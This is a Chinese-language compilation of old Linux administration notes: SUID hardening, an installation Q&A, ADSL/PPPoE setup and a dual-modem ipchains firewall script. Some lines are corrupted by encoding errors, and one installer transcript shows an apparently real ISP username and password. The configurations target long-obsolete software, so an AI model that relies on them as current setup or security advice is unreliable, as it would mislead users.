# This will overwrite /etc/issue at every boot. So, make any changes you
# want to make to /etc/issue here or you will lose them when you reboot.
#echo "" > /etc/issue
#echo "$R" >> /etc/issue
#echo "Kernel $(uname -r) on $a $(uname -m)" >> /etc/issue
#
#cp -f /etc/issue /etc/issue.net
#echo >> /etc/issue
第二步：
删除"/etc"目录下的“isue.net”和"issue"文件：
[root@kapil /]# rm -f /etc/issue
[root@kapil /]# rm -f /etc/issue.net

19、禁止不使用的SUID/SGID程序
如果一个程序被设置成了SUID root，那么普通用户就可以以root身份来运行这个程序。网管应尽可能的少使用SUID/SGID 程序，禁止所有不必要的SUID/SGID程序。
查找root-owned程序中使用's'位的程序：
[root@kapil]# find / -type f \( -perm -04000 -o -perm -02000 \) \-exec ls -lg {} \;
用下面命令禁止选中的带有's'位的程序：
[root@kapil /]# chmod a-s [program]

根据上面这些安全指导方针设置后，系统管理员就会拥有一个基本安全的系统。上面这些工作有些是个持续的过程，网管要不断进行这些工作，以保持系统的安全性。


LINUX安装问题汇总

(-)LINUX安装问题汇总

一般软件 硬盘准备 光驱 磁带机 显卡显示器 声卡 网卡

SCSI卡 MODEM 打印机 I/O接口 鼠标 其它设备

一般软件

Q:朋友们,我是个LINUX新手,想问一下LINUX启动盘如何做!

A:（以RedHat为例）。在/images目录下有boot.img和supp.img两个文件，boot.img制作启动盘，supp.img制作扩展盘。
执行/dosutils中的rawrite.exe
Enter disk image source file name: 目录/boot.img
Enter target diskette drive: a:
OK! 轻风飞扬

Q:请问如何安装rpm文件?

A: 1.安装一个包 # rpm -ivh rpm文件
2.升级一个包 # rpm -Uvh rpm文件
3.移走一个包 # rpm -e
轻风飞扬

Q： redhat启动时如何直接出现图形化login menu？？

A：root登陆
linuxconf config->boot mode->Mode->default boot mode 选择"Graphics& Network" pthinker

Q:安装ORACLE时出错?

1)需要将ORACLE 的orainst 目录拷到硬盘，先执行oratab.sh (2)oracle 8.0.5的安装与你的Linux版本有关，2.1和2.2的核安装不样！ (3)你的D版是oracle8.0.5的标准版，许多选件都没有，去下载个企业版或 oracle 8i for Linux src="http://www.linuxforum.net/docnew/images/icons/smile.gif">

Q:我想recompile kernel , 以防不测想先作=一张原核心的起动盘,怎么做?

A:启动软盘制作方法： 进入/boot/目录， 用 rdev命令设置根设备为LINUX系统的根文件系统。 rdev vmlinuz /dev/hda??视你的系统而定
找张格式化的软盘，执行： dd if=/boot/vmlinuz of=/dev/fd0 bs=8192好了。dd命令很危险，小心。
做好新核心可以用linuxconf加入到配置中，很方便，别忘了lilo一遍，否则就有乐子了。;)

硬盘准备

Q：lilo装不上？

A1：首先要检查你的硬盘是否设置为主硬盘，我曾经碰到过，机器只有一个HDD，但设置为从硬盘，就 不能安装LILO，改为主硬盘后，就一切OK wangxin
A2：安装时LILO装到First sector of bootpartition中，可能会装不上，别管它，装好后用软盘启动，修改 /etc/lilo.conf 把boot=... 一行改为 boot=dev/hda1 然后运行 lilo命令，如果没有出错信息，就应该可以了。懒虫

Q：如果NT分区是NTFS格式的，如何与LINUX并存？

A：如果NT装在NTFS分区里面，则在某一些硬盘上安装Linux是非常危险的事情！如果用Linux的fdisk改变任何关于NT的分区的任何信息，例如set active，都可能导致NT的崩溃，主要原因是NT不能正确处理被Linux的fdisk处理过的NTFS分区，启动时候会报告kernel文件损坏的错误。万一您不幸出现了这样的错误，则以后必然每一次都极有可能发生同样的事情。但是这种错误目前我只在火球大于3.2G的硬盘上发现过，其他类型的硬盘好像没有类似的问题。另外，据我了解，只在RedHat上发生这种错误，Debian和Slackware并不会导致此类故障（不太明白为什么）。如果要在同一个硬盘上安装NT和Linux，千万把NT的系统目录安装在FAT上，否则连你自己也救不了你自己。:-)

Q:请问启动后显示L后就没动静了是怎么回事？谢谢！

A:可能是使用了大硬盘，可在CMOS中将LBA方式该为CHS方式，或将硬盘读写模式改为?br>谛∮才碳嫒荨oolbox
参考“文章荟萃”里面的关于LILO的文章。

光驱

mount光驱都不会？去看看入门书。

磁带机

显卡显示器

1. i740的安装 （也可以参考“文章荟萃”里面的文章〕

去ftp://ftp.precisioninsight.com/pub/pi/XBF下载XBF-i740-glibc-1.0.0-1.i386.rpm（这是对应Red Hat的rpm安装包）和xf86config-glibc-1.0.0.i386.tgz。

然后进行如下操作：
（1） rpm -ivh XBF-i740-glibc-1.0.0-1.i386.rpm
（2） ln -sf /usr/X11R6/bin/XBF_i740 /etc/X11/X
（3） tar xvzf xf86config-glibc-1.0.0.i386.tgz
（4） 运行 “xf86config” 你就可以在显示卡数据库中找到i740的驱动程序了。
  David

Q:Trident9685在RedHat Linux5.1下的设置?

A:Trident9685（2MB显存）在RedHatLinux5.1的XFree86-3.3.1-14下系统能自动识别为Tr9660,在选择显示器时可选用NECMultiSync 3D，经过系统测试后，显示模式为800*600 8bit，这时选择let me choose可选择800*600 16bit，系统安装完成后重新启动，键入startx进入X11，可有70Hz的垂直刷新频率。redlinux

Q：如何在Linux下使用nVIDIA Riva TNT2 Vanta图形加速卡？

A：到nVIDIA的主页去下载一个驱动程序,名字是RIVA-X-GLX-1.0-glibc-i386.tar.gz,我装过小影霸TNT2. wxjyq

A:干脆用新版的软件，如：turbolinux4.0,直接支持它。

Q:我是如何在联想奔月2000上设置I740显卡的。

A:我在联想奔月2000上装了REDHAT6 下载了以下显卡支持。 href="ftp://ftp.freesoft.cei.gov.cn/pub/mirrors/ftp.redhat.com/redhat/XBF/XBF-i740-glibc-1.0.0-1.i386.rpm"target="_blank">ftp://ftp.freesoft.cei.gov.cn/pub/mirrors/ftp.redhat.com/redhat/XBF/XBF-i740-glibc-1.0.0-1.i386.rpm href="ftp://ftp.freesoft.cei.gov.cn/pub/mirrors/ftp.redhat.com/redhat/XBF/xf86config-glibc-1.0.0.i386.tgz"target="_blank">ftp://ftp.freesoft.cei.gov.cn/pub/mirrors/ftp.redhat.com/redhat/XBF/xf86config-glibc-1.0.0.i386.tgz按照其中说明安装，然后运行xf86config
1.鼠标选PS/2 ，模拟3键
2。使用XKB，选MS自然键盘
3。显卡选 311：普通I740
4。显示器设置 扫描频率自己输入： synchornization Horizontal: 30-69 Vertical: 50-120 数据是从显示器说明中得到的。 然后设分辨率，保存后，startx,就一切正常了。
这里有一个小诀窍： 如果你没有设你的机器名称，第一次起X WINDOWS时会等很长时间，只出现一个灰色屏幕和X型光标，好象死机一样。请耐心等待，不妨去喝倍水，或抽一根烟。当然直接的方法是设置你的机器名，编辑/etc/hosts,在你的机器的 IP后加上一个名字。千万记住：耐心等待。mgdf

声卡

Q： 如何在linux下设置yamaha 724(PCI)声卡？

A：先确定你的内核版本，最好是2.2.X .
重新编译一下内核，在选项里选好你的声卡的芯片类型、IO地址、中断、DMA...
编译安装内核，看看是否能认出你的声卡。hehe

网卡

Q:我的网卡在win95下用ne2000的驱动能正常工作,但在linux中找不到？

A：估计是PnP的问题。你可能需要用pnpdump和isapnp程序先设置好你的网卡。在参数调整好后把这isapnp的一行加在/etc/rc.d/rc文件的前面，也就是说在那些注释行之?br>螅銎渌虑橹笆紫扔胕sapnp把你的所有PnP卡都设置好，然后再说别的。
注意：1.3c509网卡最好用厂家的3C5X9XFG.EXE程序将各个参数设好并且禁止PnP，这?br>贚inux 下用就没有问题了。
２，ne2000兼容卡中有些是ISA/PnP卡。对于这类PnP网卡只能够用isapnp进行设置后?br>拍芄皇褂谩?
Q：我的网卡是3COM的3C905B,有谁知 道哪儿能找到它的驱动程序？

A：可直接使用3c59x.o如果是认不出来的话,可能是3c509b设置成PnP,Linux不认和认错irq, 所以先disablePnP试试

Q：请问DLINK220 ISA PNP如何在TURBO中使用？LINUX是不是所有的内置猫都认，如何配？ 多谢！！

A:不知你用的是那个公司的Linux?是Turbo4的话：turbopnp/turbopnpcfg搜索即插即用ISA/PCI设备(我觉得这方面Turbo比RH好用），搜索到了的话进行配置，最好手工，内猫用的是cua2/cua3,cua2<=>com3 ..turbonetcfg配置网卡。 沙加

Q：如何配置Accton PNP网卡？

A：用NE2000的驱动程序来驱动Accton PNP网卡，修改/etc/conf.modules
（如果没有就创建一个），并添加如下内容：
alias eth0 ne options ne io=0x300 或者在lilo.conf中添加如下内容：append="ether=10,0x300,eth0"

Q：为什么Linux启动后找不到NE2000网卡呢？

A：NE2000的网卡LINUX不能自动检测，需要手工设置。使用网卡带的驱动盘找出网卡的中断和IO，修改/etc/conf.modules，并添 加如下内容：
alias eth0 ne options ne io=0x300
或者在lilo.conf中添加如下内容： append="ether=10,0x300,eth0"

SCSI卡

MODEM

Q：在RedHat Linux 6.0中已经拨号上了网,但却无法使用Netscape浏览,这时为何?

A：一般是DNS错误,你在拨号配置里把NAMESERVER加上

Q：猫通过交换机连接INTERNET，也就是先拨0、9的外线，又应如何设置？

A：如拨169, 则要: 0,169 加个" , "就行了, 如果不通, 就再加一个","这样便会再延时,等待交换机做出反应 沙加

Q. 拨号不能工作, 为什么?

A. 拨号网络不工作的原因很多.

1) Modem不能拨号 如果调制解调器没有拨号的声音，这说明您的连接没有开始，请查看 /var/log/messages 蠵PPD的出错信息，您可以运行 minicom,一个简单的拨号程序，输入 AT .　 调制解调器应该返回 'OK'.　如果不返回，那么是您 的串口配置错误。重新运行 TurboPPPCfg确定调制解调器设备已经正确配置。并且已经 连接到 /dev/modem ，在Linux下不支持软Modem。

2) 调制解调器已经开始拨号，但是无法连入ISP *如果ISP使用PAP身份验证，您必须打开TurboPPPCfg中的PAP选项。同时确定您的密码和用户 名已经正确输入. *如果反过来ISP不使用PAP，您却使用PAP，也会出现类似问题。 *调制解调器的数据格式错误，您可以运行 minicom, 输入 AT&F1. 接着输入:AT&W.　退出即可。

3) 内置ISDN不工作 - 大多数内置ISDN设备在Linux下不能正确工作，如果您要为Linux购买ISDN设备，请 您购买能够支持标准串口设备的ISDN卡，或者外置 ISDN卡

打印机

I/O接口

鼠标

Q:我的鼠标是LOGITEGH，书上表明支持，在安装和XWINDOWS时不能动，谁能告诉我WHY？

A: 安装时应该能自动测试出来。罗技的鼠标好象基本都是三键的。安装时选择正确了吗？在LINUX启动后，登录，动动MOUSE。一般应该看到方块状的光标。cnzwx

其它设备

Q：检测 RAID 阵列之后出现 VFS:Cannot open root device 00:30 Kernel panic:VFS: Unable to mount root fs on 00:30有时正常.在几次启动之间没有修改任何东西.但时好时坏. 这是什么原因? 用RedHat6.0.

A:检查SCSI通道和ID号，可能是这样，你在安装LINUX时，没有连接RAID设备或打开
电源。而你把LINUX安装在本地SCSI磁盘上了。 你打开RAID系统重新启动后，根
文件系统仍然存在于本地SCSI磁盘上，但是新的磁盘加入了。所以本地磁盘的主辅
设备号改变了，也就是说，盘符变了。所以改变RAID盘的通道号和ID，可能会有效

(二)在Linux下使用ADSL
北京电信的ADSL使用的是PPPOE拨号方式，因此，要在Linux下使用ADSL，必须安装PPPOE

客户端软件。下面说明如何进行安装：

本文以RedHat Linux6.2为实验平台，其它平台的Linux安装办法可以参照下面从源代码

进行安装的步骤。

一、安装的前提条件

1.确保安装了网卡并工作正常

使用命令

#ifconfig eth0

查看网卡状态

2.在系统中不要设置默认路由(网关),让ADSL拨号后自动获得

如果已经设置了默认路由,使用以下方法删除:
在文件 /etc/sysconfig/network 中删除 GATEWAY= 这一行,然后以root执行:

#/etc/rc.d/init.d/network restart

3.已经安装了pppd软件包

如果存在文件 /usr/sbin/pppd,则说明已经安装了pppd;
如果未安装,从RedHatLinux6.2安装光盘上安装ppp-2.3.11-4.i386.rpm这个软件包

二、安装PPPOE客户端软件

Linux下的PPPOE客户端软件比较多,而且大多使用GNULicense,我们推荐使用rp-pppoe
这个软件包。从http://www.roaringpenguin.com/pppoe/这个网站上，不仅可以下栽
RedHat 62平台下的rp-pppoe的二进制软件包，而且可以下栽源代码软件包。

1.二进制软件包的安装：

A.下栽二进制软件包

target="_blank">http://www.roaringpenguin.com/pppoe/rp-pppoe-3.2-1.i386.rpm

B.进行安装

以root执行:

#rpm -Uvh rp-pppoe-3.2-1.i386.rpm

2.从源代码进行安装：

从源代码进行安装同样适用于其它平台的Linux,但必须在Linux系统中安装gcc编译器?br>?

A.下栽源代码软件包

target="_blank">http://www.roaringpenguin.com/pppoe/rp-pppoe-3.2.tar.gz

B.解压缩

#tar xvfz rp-pppoe-3.2.tar.gz
#cd rp-pppoe-3.2

C.进行编译和安装

运行脚本
#./go
将自动进行编译和安装，最后，调用/usr/sbin/adsl-setup进行配置，具体解释见三?br>?

三、配置PPPOE客户端软件

安装完软件包后，必须配置pppoe的配置文件/etc/ppp/pppoe.conf，从而让ADSL拨号?br>?
使用配置文件中的用户名、密码等参数。我们不必手工改动这个文件，可以使用
adsl-setup这个工具进行配置：

#/usr/sbin/adsl-setup

当出现
>>> Enter your PPPoE user name :
输入ADSL帐号的用户名

当出现
>>> Enter the Ethernet interface connected to the ADSL modem
For Solaris, this is likely to be something like /dev/hme0.
For Linux, it will be ethn, where 'n' is a number.
(default eth0):
输入 eth0 ,这是ADSL相连的网卡的名字

当出现
>>> Enter the demand value (default no):
输入 no

当出现
>>> Enter the DNS information here:
输入 server ,这表示使用ADSL拨号自动获得的DNS服务器IP地址

当出现
>>> Please enter your PPPoE password:
输入ADSL帐号的密码

当出现
>>> Choose a type of firewall (0-2):
输入 0 ，不使用防火墙

当出现
>>> Accept these settings and adjust configuration files(y/n)?
如果输入的信息正确，输入 y ,完成配置，否则，输入 n 重新输入。

四、启动PPPOE客户端软件

使用命令

/usr/sbin/adsl-start 启动PPPOE客户端软件,进行连接，如果成功，将出现
Connected;
如果不成功，请检查网线、ADSL MODEM等物理设备，并查看/var/log/messages中的信
息
/usr/sbin/adsl-stop 关闭和ISP的连接
/usr/sbin/adsl-status 查看当前连接的状态

如果想在Linux系统启动时自动启动ADSL连接，输入以下命令
#chkconfig --add adsl
将在当前的运行级下加入ADSL的自启动脚本

五、测试

当连接成功后，使用命令

#ifconfig -a

在输出中应该含有关于 ppp0 的一堆信息，其中还绑定了 IP地址,说明已经从拨号中获

得了IP地址。

使用命令

#netstat -nr

查看路由表信息，这时的默认路由应该是上面获得的IP地址。
如果没有默认路由，我们可以手动增加：

#route add default gw 上面获得的IP地址

使用命令

#nslookup target="_blank">www.sina.com.cn

如果解析出新浪的IP，说明已经从拨号中正确获得了DNS服务器

最后，使用命令ping某个域名或IP，如果有响应，表示你已经大功告成了。

六、其它说明

RedHat Linux7.1已经集成了rp-pppoe这个软件包，只不过版本有些低，如果你不在意版
本高低，可以直接进行三后面的步骤。

(三)LINUX下Linux下对猫上网的配置
目的： 使用两个Modem或外置ISDN TA接入Internet，
并实现负载分担、代理和防火墙功能。
（理论上可支持多个MODEM)

平台及配置：
一台P200 PC ，64M内存，2.1G硬盘，3c509b网卡,
TAICOM IS128 TA(外置）2台，分别接com1、com2，2条ISDN线

所用软件：
Redhat Linux 6.1
dialup tools: diald-0.16-5a-1
firewall: ipchains 1.3.9
pppd: pppd 2.3.7

内容提要： 如何配置diald用两个MODEM上网

声明：
（1）本文参考<中国Linux论坛www.linuxforum.net> JepheWu的<外置ISDN TA
上两个用2个B通道上网的配置>和<如何在Redhat6.1上用ipchains构建
防火墙和IP伪装> 两篇文章
（2）本人仅供Linux用户配置双MODEM参考，用下面的配置，作者能成功地
上两个MODEM上网并实现负载分担，但不做任何担保，尤其是防火墙的
安全****方面。

安装配置过程:

1、配置TA为MPPP方式(双B信道连接）,并保存。
2、安装pppd(因原带的pppd有问题，卸掉后安装较低版本的)和diald
3、配置diald （需建立或修改 /etc/diald.conf
/etc/diald/connect
/etc/ppp/pppscript
/etc/ppp/options
/etc/ppp/pap-secrets）
4、以上文件具体内容如下:
---------------------------------------------------------------------
/etc/diald.conf(将/etc/diald/diald.conf拷贝到/etc下修改,原注释已去掉）
---------------------------------------------------------------------
accept any 420 any
device /dev/ttyS0
speed 115200
lock
mode ppp
dynamic
local 192.168.0.1
remote 192.168.0.2
up-delay 3
defaultroute
modem
crtscts
connect /etc/diald/connect
redial-timeout 10
fifo /etc/diald/diald.ctl
#ip-up /etc/rc.d/ipchains.rules (设置好ipchains后再打开注释)
#ip-down /etc/rc.d/ipchains.reset
---------------------------------------------------------------------
/etc/diald/connect
---------------------------------------------------------------------
#!/bin/sh
/usr/sbin/chat -v -f /etc/ppp/pppscript
---------------------------------------------------------------------
/etc/ppp/pppscript
---------------------------------------------------------------------
TIMEOUT 60
ABORT ERROR
ABORT BUSY
ABORT "NO CARRIER"
ABORT "NO DAILTONE"
"" "ATZ" OK
"atdt169" #可修改成对应的特服号
TIMEOUT 75
CONNECT
---------------------------------------------------------------------
/etc/ppp/options
---------------------------------------------------------------------
name your_account_at_ISP
login
asyncmap 0
---------------------------------------------------------------------
/etc/ppp/pap-secrets
---------------------------------------------------------------------
# Secrets for authentication using PAP
# client server secret IP addresses
your_account_at_ISP * your_passwd_at_ISP
---------------------------------------------------------------------
5、运行diald，测试diald
执行ping 1.1.1.1 后，如果设置正常，应该可以握手上线
用tail /var/log/messages 察看连接过程
6、配置第二个Modem
（将/usr/doc/ppp-2.3.7/scripts下的ppp-on,ppp-off,ppp-on-dialer
拷贝到/etc/ppp下修改，ppp-off不需修改）
---------------------------------------------------------------------
/etc/ppp/ppp-on
---------------------------------------------------------------------
#!/bin/sh
TELEPHONE=169 # The telephone number for the connection
LOCAL_IP=0.0.0.0 # Local IP address if known. Dynamic =0.0.0.0
REMOTE_IP=0.0.0.0 # Remote IP address if desired. Normally0.0.0.0
NETMASK=255.255.255.0 # The proper netmask if needed
DIALER_SCRIPT=/etc/ppp/ppp-on-dialer
exec /usr/sbin/pppd debug lock modem crtscts /dev/ttyS1 115200 \
$LOCAL_IP:$REMOTE_IP \
noipdefault netmask $NETMASK defaultroute connect$DIALER_SCRIPT
---------------------------------------------------------------------
ppp-on-dialer
---------------------------------------------------------------------
#!/bin/sh
exec /usr/sbin/chat -v \
TIMEOUT 3 \
ABORT '\nBUSY\r' \
ABORT '\nNO ANSWER\r' \
ABORT '\nRINGING\r\n\r\nRINGING\r' \
'' ATZ \
'OK-+++\c-OK' ATH0 \
TIMEOUT 30 \
OK ATDT$TELEPHONE \
CONNECT '' \
---------------------------------------------------------------------
7、测试第二个MODEM连接
执行 ppp-on
如果正常，应该可以握手上线
8、设置ipchains，并将两个MODEM的拨号及挂断联结起来
(生成/etc/rc.d/ipchains.rules 和/etc/rc.d/ipchains.reset两个文件，
属****设为600)
---------------------------------------------------------------------
/etc/rc.d/ipchains.rules
---------------------------------------------------------------------
#!/bin/sh
echo "Starting ipchains firewall rules..."
/etc/diald/ppp-on
sleep 10

IP_PPP0=****ifconfig 'ppp0' | grep 'inet addr' | awk '{print $2}' | sed -e's/addr\://'****
IP_PPP1=****ifconfig 'ppp1' | grep 'inet addr' | awk '{print $2}' | sed -e's/addr\://'****
REMOTE_IP=****ifconfig 'ppp1' | grep 'P-t-P' | awk '{print $3}' | sed -e's/P-t-P\://'****

INTERNAL_INTERFACE="YouEth0Addr/32"
LOOPBACK_INTERFACE="127.0.0.0/8"
INTERNAL_NETWORK="YouLocalNetWork/8"
ALL_NETWORK="0.0.0.0/0"
HIPORTS="1024:65535"

echo $IP_PPP0
echo $IP_PPP1
echo $REMOTE_IP

route add default gw $REMOTE_IP ppp1

# refresh all firewall rules
/sbin/ipchains -F forward
/sbin/ipchains -F input
/sbin/ipchains -F output

# setup default firewall rules
/sbin/ipchains -P forward DENY
/sbin/ipchains -P input ACCEPT
/sbin/ipchains -P output ACCEPT

# setup Loopback interface
/sbin/ipchains -A input -j ACCEPT -i lo
/sbin/ipchains -A output -j ACCEPT -i lo

# disabling IP spoofing
/sbin/ipchains -A input -j DENY -i ppp+ -s $INTERNAL_NETWORK
/sbin/ipchains -A input -j DENY -i ppp+ -d $INTERNAL_NETWORK

/sbin/ipchains -A output -j DENY -i ppp+ -s $INTERNAL_NETWORK
/sbin/ipchains -A output -j DENY -i ppp+ -d $INTERNAL_NETWORK

/sbin/ipchains -A input -j DENY -i ppp0 -s $IP_PPP0
/sbin/ipchains -A output -j DENY -i ppp0 -d $IP_PPP0
/sbin/ipchains -A input -j DENY -i ppp1 -s $IP_PPP1
/sbin/ipchains -A output -j DENY -i ppp1 -d $IP_PPP1

# disabling incoming request from internet
/sbin/ipchains -A input -j DENY -i ppp0 -p TCP -y -d $IP_PPP0
/sbin/ipchains -A input -j DENY -i ppp1 -p TCP -y -d $IP_PPP1

#refuse packets claiming to be to or from the loopback interface
/sbin/ipchains -A input -j DENY -i ppp+ -s $LOOPBACK_INTERFACE
/sbin/ipchains -A input -j DENY -i ppp+ -d $LOOPBACK_INTERFACE

/sbin/ipchains -A output -j DENY -i ppp+ -s $LOOPBACK_INTERFACE
/sbin/ipchains -A output -j DENY -i ppp+ -d $LOOPBACK_INTERFACE

#refuse broadcast address source packets
/sbin/ipchains -A input -j DENY -i ppp+ -s 255.255.255.255
/sbin/ipchains -A input -j DENY -i ppp+ -d 0.0.0.0

#refuse multicast/anycast/broadcast address
/sbin/ipchains -A input -j DENY -i ppp+ -s 240.0.0.0/3

#setup IP Masquerading rules
echo "1" > /proc/sys/net/ipv4/ip_forward

#forwarding all internal traffic
/sbin/ipchains -A forward -j ACCEPT -i eth0 -s $INTERNAL_NETWORK -d$INTERNAL_NETWORK

# add modules for ftp, cuseeme, irc, real audio, etc...
/sbin/modprobe ip_masq_ftp
/sbin/modprobe ip_masq_quake
/sbin/modprobe ip_masq_irc
/sbin/modprobe ip_masq_user
/sbin/modprobe ip_masq_raudio

#starting IP masquerading
/sbin/ipchains -A forward -j MASQ -i ppp+ -s $INTERNAL_NETWORK -d$ALL_NETWORK
---------------------------------------------------------------------
/etc/rc.d/ipchains.reset
---------------------------------------------------------------------
#!/bin/sh
echo "Reset ipchains firewall rules..."
/etc/diald/ppp-off ppp1

# refresh all firewall rules
/sbin/ipchains -F forward
/sbin/ipchains -F input
/sbin/ipchains -F output

# setup default firewall rules
/sbin/ipchains -P forward ACCEPT
/sbin/ipchains -P input ACCEPT
/sbin/ipchains -P output ACCEPT

#setup IP Masquerading rules
echo "0" > /proc/sys/net/ipv4/ip_forward
---------------------------------------------------------------------
9、配置内核(再默认配置基础上)
make xconfig
networking options设置中 IP:equal cost multipath 设为 Y
重新编译内核
10、将diald设为自动运行，以新内核启动机器
11、以上配置在163及169上均测试通过，效果良好。

(四)在LINUX （Mandrake 7.0）下安装ADSL
环境
系统：Linux Mandrake release 7.1 (helium) Kernel 2.2.15-4mdk on an i686
ADSL客户端设备：ANT：Alcatel A1000 10/100baseT 接口的网桥；
NIC：TP-Link 8139B 10/100M网卡。
ANT与NIC用一对一五类双绞线连接。
没有固定IP地址，有局端动态分配。
所需软件包：pppoed-0.48b1.tgz，可在http://www.davin.ottawa.on.ca/pppoe/得到。

一、网卡设置
先安装一块网卡，并配置好网卡的参数（相关配置手册）。如我的网卡IP为192.168.0.8。
二、安装PPPOED软件包
在安装好系统后，系统会缺省安装PPP软件，并在/usr/sbin下生成pppd,pppstats等文件，故不用安装PPP软件包了。
将下载的软件包pppoed-0.48b1.tgz解压到/usr/src/pppoed-0.48b1目录下：
# tar –zxvf pppoed-0.48b1.tgz
进入该目录，并运行命令：
#Install_pppoed
出现以下提示，根据提示进行安装如下：
Linux source directory[where kernel headers are found] [/usr/src/linux]:
（原码路径）（按回车）
Module install dir [/lib/modules/2.2.15-4mdk/net]:
（模块安装路径）（按回车）
RH-like init directory [/etc/rc.d/init.d]: 初始化路径）（按回车）
compiler for modules. If you have RH7.0, select kgcc instead of gcc
[gcc]:（编译时所需的
C环境，Mandrake 7.0下，是用gcc）（按回车）

Kernel source: /usr/src/linux
init_dir: /etc/rc.d/init.d
module install directory: /lib/modules/2.2.15-4mdk/net
Compiler for modules : gcc
is this correct?(answer y/n only)
[y]:（询问以上设置是否正确，如果正确就按y）
然后就进行编译过程。编译完后出现以下提示：
Do you want me to setup PPP for you?(answer y/n only)
[y]:（是否要设置PPP）（按回车）
Please enter your Username for your ISP [ ]: （输入用户名）（如 abc）
Please enter your Password for your ISP [ ]:（输入你的密码）
Please enter your domain name
This is often trailing the @ in your email address
If your email was John@Doe.com, then mostoften, your
domain name would be: Doe.com
domain name : [ ]: （输入你的域）（如我的是163.gd）

collected information

User Name : szourweb
passWord: ourweb
domainName: 163.gd
is this correct?(answer y/n only) [y]:
（确认你的信息是否正确，如果正确就按回车）
setting ppp-options ....
Setting /etc/ppp/pap-secrets* perms to 600

Do you want me to setup DNS for you?(answer y/n only)
[y]:（是否设置DNS，按y）
Please enter your Primary DNS server
It should be in the form ###.###.###.###
Where the "#" is either a number or blank space
Primary DNS server: [ ]:
（输入数据局提供的DNS服务起IP，如：202.96.134.133）

If you have a Secondary DNS server please enter it
If none, just press enter
Secondary DNS server: []:（如果有辅助DNS，则在此输入，如：202.96.128.68）

collected information
nameServer1 Name : 202.96.134.133
second nameserver: 202.96.128.68
is this correct?(answer y/n only) [y]:（再次确认信息是否正确，正确则按y）

would you like to start pppoed?(answer y/n only)[y]:（提示是否启动pppoed）
到此pppoed安装完成，在结束时，如果提示：
Starting pppoed: Warning: modutils is reading from /etc/modules.conf and
ignoring /etc/conf.modules. The use of /etc/conf.modules is
depreciated,
please remove /etc/conf.modules as soon as possible. Command
rm /etc/conf.modules
则请删除/etc/conf.modules.模块配置文件改用modules.conf。
三、配置相关文件
pppoe安装后，在modules.conf中加入：
alias char-major-144 pppox
并将配置信息写入/etc/sysconfig/network-scripts/ifcfg-ppp0中
更改ifcfg-ppp0中的这一句：
MODEMPORT="/dev/ppp0"
为：MODEMPORT="/dev/pppox0"
在安装完pppoed后，/etc/ppp/目录下的两个文件应该如下：
-------------------------------------options-------------------------------------
lock
local
nocrtscts
noauth
#be careful with mtu/mru if you are masquerading.
# look at Kal Lin's page at href="http://www.cs.toronto.edu/~kal/hse/resource.html"target="_blank">http://www.cs.toronto.edu/~kal/hse/resource.html
mru 1490
mtu 1490
#please make sure you have noaccomp for now
noaccomp
#the construct below is needed by sympatico
name "szourweb@163.gd"
#you might want to change defaultroute if you have more
#than one pppoe session
defaultroute
hide-password
sync
#it might be a good idea to uncoment the debug below
#debug
#kdebug 7
#if you use the -R option to make it persistent
#then uncomment the next two lines below
#lcp-echo-interval 240
#lcp-echo-failure 3
#nodetach
----------------------------------end
options---------------------------------

-------------------------------------
pap-secrets------------------------------
# Secrets for authentication using PAP
# client server secret IP addresses
abc@163.gd * 123456
---------------------------------end
secrets----------------------------------
根据自己的实际情况更改相关项目。
至此，软件设置完成。
将ANT和NTC连接无误后运行：
# /etc/sbin/pppoed
就可以连接上了。
你可以:
# tail -f /var/log/message
看整个连接过程。
如果连接上了将出现以下类似信息：
Oct 25 01:59:59 adsl pppoed[10323]: starting /usr/sbin/pppd to interface
/dev/pp
pox0
Oct 25 01:59:59 adsl modprobe: Note: /etc/modules.conf is more recent than
/lib/
modules/2.2.15-4mdk/modules.dep
Oct 25 01:59:59 adsl kernel: registered device ppp0
Oct 25 01:59:59 adsl pppoed[10322]: Line id which died is: 0
Oct 25 01:59:59 adsl pppoed[10322]: OK we got killed
Oct 25 01:59:59 adsl pppoed[10322]: ppp_connect came back!
Oct 25 01:59:59 adsl pppd[10325]: pppd 2.3.11 started by root, uid 0
Oct 25 01:59:59 adsl pppd[10325]: Using interface ppp0
Oct 25 01:59:59 adsl pppd[10325]: Connect: ppp0 <--> /dev/pppox0
Oct 25 02:00:04 adsl kernel: PPP BSD Compression module registered
Oct 25 02:00:04 adsl kernel: PPP Deflate Compression module registered
Oct 25 02:00:04 adsl insmod: Note: /etc/modules.conf is more recent than
/lib/mo
dules/2.2.15-4mdk/modules.dep
Oct 25 02:00:05 adsl pppd[10325]: local IP address 61.141.206.79
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Oct 25 02:00:05 adsl pppd[10325]: remote IP address 61.141.204.1
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

[root@adsl sysconfig]# netstat -nr
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt
Iface
192.168.0.8 0.0.0.0 255.255.255.255 UH 0 0 0
eth1
192.168.1.8 0.0.0.0 255.255.255.255 UH 0 0 0
eth0
61.141.204.1 0.0.0.0 255.255.255.255 UH 0 0 0
ppp0
192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0
eth0
192.168.0.0 0.0.0.0 255.255.255.0 U 0 0 0
eth1
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0lo
0.0.0.0 61.141.204.1 0.0.0.0 UG 0 0 0
ppp0

# ifconfig
ppp0 Link encapscreen.width-300)this.width=screen.width-300'>oint-to-Point Protocol
inet addr:61.141.206.79 P-t-P:61.141.204.1 Mask:255.255.255.255
UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1490 Metric:1
RX packets:13 errors:0 dropped:0 overruns:0 frame:0
TX packets:12 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:10

注意：在/usr/doc/pptp-adsl-fr-1.0.2目录中有Alcatel的ADSL.htm，如果按照该文?br>淖龇ǎ诵衟ptp
alcatel ，会出错：
# tail –f /var/log/message
Oct 25 01:04:07 adsl pptp[10036]: connect: No route to host
Oct 25 01:04:07 adsl pptp[10036]: Could not open control connection to
192.168.0.138
Oct 25 01:04:07 adsl pptp[10035]: Call manager exited with error 256

kof2000

偶安装RH7。2后默认是XWINDOWS， 怎么设置为通常的命令截面？？

如果想启动后不让系统在图形下登陆，直接进入字符状态，则可以通过修改/etc/inittab文件实现，方法如下（KDE下操作）：
用右键点击/etc/inittab文件，选高级编辑器打开该文件，看到如下内容：
#
# inittab This file describes how the INIT process should set up
# the system in a certain run-level.
#
# Author: Miquel van Smoorenburg,
